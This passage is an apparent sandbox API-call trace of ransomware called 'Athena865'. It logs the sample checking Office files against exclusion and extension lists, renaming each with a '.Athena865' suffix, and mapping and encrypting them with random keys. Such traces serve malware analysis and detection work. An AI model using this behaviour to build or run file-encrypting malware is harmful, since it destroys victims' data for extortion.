(lpString1="BW.CSS", lpString2=".dll") returned 1 [0139.659] lstrlenW (lpString=".lnk") returned 4 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2=".lnk") returned 1 [0139.659] lstrlenW (lpString=".ini") returned 4 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2=".ini") returned 1 [0139.659] lstrlenW (lpString=".sys") returned 4 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2=".sys") returned 1 [0139.659] lstrlenW (lpString="BW.CSS") returned 6 [0139.659] lstrlenW (lpString="bak") returned 3 [0139.659] lstrcmpiW (lpString1="CSS", lpString2="bak") returned 1 [0139.659] lstrlenW (lpString="ba_") returned 3 [0139.659] lstrcmpiW (lpString1="CSS", lpString2="ba_") returned 1 [0139.659] lstrlenW (lpString="dbb") returned 3 [0139.660] lstrcmpiW (lpString1="CSS", lpString2="dbb") returned -1 [0139.660] lstrlenW (lpString="vmdk") returned 4 [0139.660] lstrcmpiW (lpString1=".CSS", lpString2="vmdk") returned -1 [0139.660] lstrlenW (lpString="rar") returned 3 [0139.660] lstrcmpiW (lpString1="CSS", lpString2="rar") returned -1 [0139.660] lstrlenW (lpString="zip") returned 3 [0139.660] lstrcmpiW (lpString1="CSS", lpString2="zip") returned -1 [0139.660] lstrlenW (lpString="tgz") returned 3 [0139.660] lstrcmpiW (lpString1="CSS", lpString2="tgz") returned -1 [0139.660] lstrlenW (lpString="vbox") returned 4 [0139.660] lstrcmpiW (lpString1=".CSS", lpString2="vbox") returned -1 [0139.660] lstrlenW (lpString="vdi") returned 3 [0139.660] lstrcmpiW (lpString1="CSS", lpString2="vdi") returned -1 [0139.660] lstrlenW (lpString="vhd") returned 3 [0139.660] lstrcmpiW (lpString1="CSS", lpString2="vhd") returned -1 [0139.660] lstrlenW (lpString="vhdx") returned 4 [0139.660] lstrcmpiW (lpString1=".CSS", lpString2="vhdx") returned -1 [0139.660] lstrlenW (lpString="avhd") returned 4 [0139.660] lstrcmpiW (lpString1=".CSS", lpString2="avhd") returned -1 [0139.660] lstrlenW (lpString="db") returned 2 [0139.660] lstrcmpiW (lpString1="SS", lpString2="db") returned 1 [0139.660] lstrlenW (lpString="db2") returned 3 [0139.660] lstrcmpiW (lpString1="CSS", lpString2="db2") returned -1 [0139.660] lstrlenW (lpString="db3") returned 3 [0139.660] lstrcmpiW (lpString1="CSS", lpString2="db3") returned -1 [0139.660] lstrlenW (lpString="dbf") returned 3 [0139.660] lstrcmpiW (lpString1="CSS", lpString2="dbf") returned -1 [0139.661] lstrlenW (lpString="mdf") returned 3 [0139.661] lstrcmpiW (lpString1="CSS", lpString2="mdf") returned -1 [0139.661] lstrlenW (lpString="mdb") returned 3 [0139.661] lstrcmpiW (lpString1="CSS", lpString2="mdb") returned -1 [0139.661] lstrlenW (lpString="sql") returned 3 [0139.661] lstrcmpiW (lpString1="CSS", lpString2="sql") returned -1 [0139.661] lstrlenW (lpString="sqlite") returned 6 [0139.661] lstrlenW (lpString="sqlite3") returned 7 [0139.661] lstrlenW (lpString="sqlitedb") returned 8 [0139.661] lstrlenW (lpString="xml") returned 3 [0139.661] lstrcmpiW (lpString1="CSS", lpString2="xml") returned -1 [0139.661] lstrlenW (lpString="$er") returned 3 [0139.661] lstrcmpiW (lpString1="CSS", lpString2="$er") returned 1 [0139.661] lstrlenW (lpString="4dd") returned 3 [0139.661] lstrcmpiW (lpString1="CSS", lpString2="4dd") returned 1 [0139.661] lstrlenW (lpString="4dl") returned 3 [0139.661] lstrcmpiW (lpString1="CSS", lpString2="4dl") returned 1 [0139.661] lstrlenW (lpString="^^^") returned 3 [0139.661] lstrcmpiW (lpString1="CSS", lpString2="^^^") returned 1 [0139.661] lstrlenW (lpString="abs") returned 3 [0139.661] lstrcmpiW (lpString1="CSS", lpString2="abs") returned 1 [0139.661] lstrlenW (lpString="abx") returned 3 [0139.661] lstrcmpiW (lpString1="CSS", lpString2="abx") returned 1 [0139.661] lstrlenW (lpString="accdb") returned 5 [0139.661] lstrcmpiW (lpString1="W.CSS", lpString2="accdb") returned 1 [0139.661] lstrlenW (lpString="accdc") returned 5 [0139.661] lstrcmpiW (lpString1="W.CSS", lpString2="accdc") returned 1 [0139.661] lstrlenW (lpString="accde") returned 5 [0139.661] lstrcmpiW (lpString1="W.CSS", lpString2="accde") returned 1 [0139.662] lstrlenW (lpString="accdr") returned 5 [0139.662] lstrcmpiW (lpString1="W.CSS", lpString2="accdr") returned 1 [0139.662] lstrlenW (lpString="accdt") returned 5 [0139.662] lstrcmpiW (lpString1="W.CSS", lpString2="accdt") returned 1 [0139.662] lstrlenW (lpString="accdw") returned 5 [0139.662] lstrcmpiW (lpString1="W.CSS", lpString2="accdw") returned 1 [0139.662] lstrlenW (lpString="accft") returned 5 [0139.662] lstrcmpiW (lpString1="W.CSS", lpString2="accft") returned 1 [0139.662] lstrlenW (lpString="adb") returned 3 [0139.662] lstrcmpiW (lpString1="CSS", lpString2="adb") returned 1 [0139.662] lstrlenW (lpString="adb") returned 3 [0139.662] lstrcmpiW (lpString1="CSS", lpString2="adb") returned 1 [0139.662] lstrlenW (lpString="ade") returned 3 [0139.662] lstrcmpiW (lpString1="CSS", lpString2="ade") returned 1 [0139.662] lstrlenW (lpString="adf") returned 3 [0139.662] lstrcmpiW (lpString1="CSS", lpString2="adf") returned 1 [0139.662] lstrlenW (lpString="adn") returned 3 [0139.662] lstrcmpiW (lpString1="CSS", lpString2="adn") returned 1 [0139.662] lstrlenW (lpString="adp") returned 3 [0139.662] lstrcmpiW (lpString1="CSS", lpString2="adp") returned 1 [0139.662] lstrlenW (lpString="alf") returned 3 [0139.662] lstrcmpiW (lpString1="CSS", lpString2="alf") returned 1 [0139.662] lstrlenW (lpString="ask") returned 3 [0139.662] lstrcmpiW (lpString1="CSS", lpString2="ask") returned 1 [0139.662] lstrlenW (lpString="btr") returned 3 [0139.662] lstrcmpiW (lpString1="CSS", lpString2="btr") returned 1 [0139.662] lstrlenW (lpString="cat") returned 3 [0139.662] lstrcmpiW (lpString1="CSS", lpString2="cat") returned 1 [0139.662] lstrlenW (lpString="cdb") returned 3 [0139.663] lstrcmpiW (lpString1="CSS", lpString2="cdb") returned 1 [0139.663] lstrlenW (lpString="ckp") returned 3 [0139.663] lstrcmpiW (lpString1="CSS", lpString2="ckp") returned 1 [0139.663] lstrlenW (lpString="cma") returned 3 [0139.663] lstrcmpiW (lpString1="CSS", lpString2="cma") returned 1 [0139.663] lstrlenW (lpString="cpd") returned 3 [0139.663] lstrcmpiW (lpString1="CSS", lpString2="cpd") returned 1 [0139.663] lstrlenW (lpString="dacpac") returned 6 [0139.663] lstrlenW (lpString="dad") returned 3 [0139.663] lstrcmpiW (lpString1="CSS", lpString2="dad") returned -1 [0139.663] lstrlenW (lpString="dadiagrams") returned 10 [0139.663] lstrlenW (lpString="daschema") returned 8 [0139.663] lstrlenW (lpString="db-journal") returned 10 [0139.663] lstrlenW (lpString="db-shm") returned 6 [0139.663] lstrlenW (lpString="db-wal") returned 6 [0139.663] lstrlenW (lpString="dbc") returned 3 [0139.663] lstrcmpiW (lpString1="CSS", lpString2="dbc") returned -1 [0139.663] lstrlenW (lpString="dbs") returned 3 [0139.663] lstrcmpiW (lpString1="CSS", lpString2="dbs") returned -1 [0139.663] lstrlenW (lpString="dbt") returned 3 [0139.663] lstrcmpiW (lpString1="CSS", lpString2="dbt") returned -1 [0139.663] lstrlenW (lpString="dbv") returned 3 [0139.663] lstrcmpiW (lpString1="CSS", lpString2="dbv") returned -1 [0139.663] lstrlenW (lpString="dbx") returned 3 [0139.663] lstrcmpiW (lpString1="CSS", lpString2="dbx") returned -1 [0139.663] lstrlenW (lpString="dcb") returned 3 [0139.663] lstrcmpiW (lpString1="CSS", lpString2="dcb") returned -1 [0139.664] lstrcmpiW (lpString1="CSS", lpString2="dct") returned -1 [0139.664] lstrcmpiW (lpString1="CSS", lpString2="dcx") returned -1 [0139.664] lstrcmpiW (lpString1="CSS", lpString2="ddl") returned -1 [0139.664] lstrcmpiW (lpString1=".CSS", lpString2="dlis") returned -1 [0139.664] lstrcmpiW (lpString1="CSS", lpString2="dp1") returned -1 [0139.664] lstrcmpiW (lpString1="CSS", lpString2="dqy") returned -1 [0139.664] lstrcmpiW (lpString1="CSS", lpString2="dsk") returned -1 [0139.664] lstrcmpiW (lpString1="CSS", lpString2="dsn") returned -1 [0139.664] lstrcmpiW (lpString1=".CSS", lpString2="dtsx") returned -1 [0139.664] lstrcmpiW (lpString1="CSS", lpString2="dxl") returned -1 [0139.664] lstrcmpiW (lpString1="CSS", lpString2="eco") returned -1 [0139.664] lstrcmpiW (lpString1="CSS", lpString2="ecx") returned -1 [0139.664] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS.Athena865") returned 64 [0139.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css.athena865"), dwFlags=0x1) returned 1 [0139.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0139.666] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0139.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ed48 [0139.667] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54edd0) returned 1 [0139.667] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.667] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.668] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x17c [0139.669] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0139.670] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54edd0) returned 1 [0139.671] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.671] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.672] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.672] CloseHandle (hObject=0x17c) returned 1 [0139.672] CloseHandle (hObject=0x154) returned 1 [0139.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ed48 | out: hHeap=0x4f0000) returned 1 [0139.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.672] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb09b400, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb09b400, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CALEVENT.VRD", cAlternateFileName="")) returned 1 [0139.672] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.672] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.672] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2=".") returned 1 [0139.672] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="..") returned 1 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="windows") returned -1 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="bootmgr") returned 1 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="temp") returned -1 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="pagefile.sys") returned -1 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="boot") returned 1 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="ids.txt") returned -1 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="ntuser.dat") returned -1 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="perflogs") returned -1 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2="MSBuild") returned -1 [0139.673] lstrlenW (lpString="CALEVENT.VRD") returned 12 [0139.673] lstrcpyW (in: lpString1=0x241e8a8, lpString2="CALEVENT.VRD" | out: lpString1="CALEVENT.VRD") returned="CALEVENT.VRD" [0139.673] lstrlenW (lpString="CALEVENT.VRD") returned 12 [0139.673] lstrlenW (lpString="Athena865") returned 9 [0139.673] lstrcmpiW (lpString1="EVENT.VRD", lpString2="Athena865") returned 1 [0139.673] lstrlenW (lpString=".dll") returned 4 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2=".dll") returned 1 [0139.673] lstrlenW (lpString=".lnk") returned 4 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2=".lnk") returned 1 [0139.673] lstrlenW (lpString=".ini") returned 4 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2=".ini") returned 1 [0139.673] lstrlenW (lpString=".sys") returned 4 [0139.673] lstrcmpiW (lpString1="CALEVENT.VRD", lpString2=".sys") returned 1 [0139.673] lstrlenW (lpString="CALEVENT.VRD") returned 12 [0139.673] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.Athena865") returned 70 [0139.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.athena865"), dwFlags=0x1) returned 1 [0139.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0139.677] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2144) returned 1 [0139.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ed48 [0139.678] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54edd0) returned 1 [0139.679] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.679] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.679] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb60, lpName=0x0) returned 0x17c [0139.680] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb60) returned 0x100000 [0139.681] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54edd0) returned 1 [0139.682] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.682] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.682] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.682] CloseHandle (hObject=0x17c) returned 1 [0139.683] CloseHandle (hObject=0x154) returned 1 [0139.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ed48 | out: hHeap=0x4f0000) returned 1 [0139.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.683] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2f90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CERTINTL.DLL", cAlternateFileName="")) returned 1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2=".") returned 1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="..") returned 1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="windows") returned -1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="bootmgr") returned 1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="temp") returned -1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="pagefile.sys") returned -1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="boot") returned 1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="ids.txt") returned -1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="ntuser.dat") returned -1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="perflogs") returned -1 [0139.683] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2="MSBuild") returned -1 [0139.683] lstrlenW (lpString="CERTINTL.DLL") returned 12 [0139.683] lstrcpyW (in: lpString1=0x241e8a8, lpString2="CERTINTL.DLL" | out: lpString1="CERTINTL.DLL") returned="CERTINTL.DLL" [0139.683] lstrlenW (lpString="CERTINTL.DLL") returned 12 [0139.683] lstrlenW (lpString="Athena865") returned 9 [0139.683] lstrcmpiW (lpString1="TINTL.DLL", lpString2="Athena865") returned 1 [0139.684] lstrlenW (lpString=".dll") returned 4 [0139.684] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2=".dll") returned 1 [0139.684] lstrlenW (lpString=".lnk") returned 4 [0139.684] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2=".lnk") returned 1 [0139.684] lstrlenW (lpString=".ini") returned 4 [0139.684] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2=".ini") returned 1 [0139.684] lstrlenW (lpString=".sys") returned 4 [0139.684] lstrcmpiW (lpString1="CERTINTL.DLL", lpString2=".sys") returned 1 [0139.684] lstrlenW (lpString="CERTINTL.DLL") returned 12 [0139.684] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.Athena865") returned 70 [0139.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll.athena865"), dwFlags=0x1) returned 1 [0139.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0139.686] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12176) returned 1 [0139.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ed48 [0139.686] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54edd0) returned 1 [0139.687] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.687] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.687] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3290, lpName=0x0) returned 0x17c [0139.688] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3290) returned 0x100000 [0139.689] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54edd0) returned 1 [0139.690] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.690] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.691] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.691] CloseHandle (hObject=0x17c) returned 1 [0139.691] CloseHandle (hObject=0x154) returned 1 [0139.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ed48 | out: hHeap=0x4f0000) returned 1 [0139.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.691] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49538400, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49538400, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CLVWINTL.DLL", cAlternateFileName="")) returned 1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2=".") returned 1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2="..") returned 1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2="windows") returned -1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2="bootmgr") returned 1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2="temp") returned -1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2="pagefile.sys") returned -1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2="boot") returned 1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2="ids.txt") returned -1 [0139.692] lstrcmpiW (lpString1="CLVWINTL.DLL", lpString2="ntuser.dat") returned -1 [0139.692] lstrcmpiW 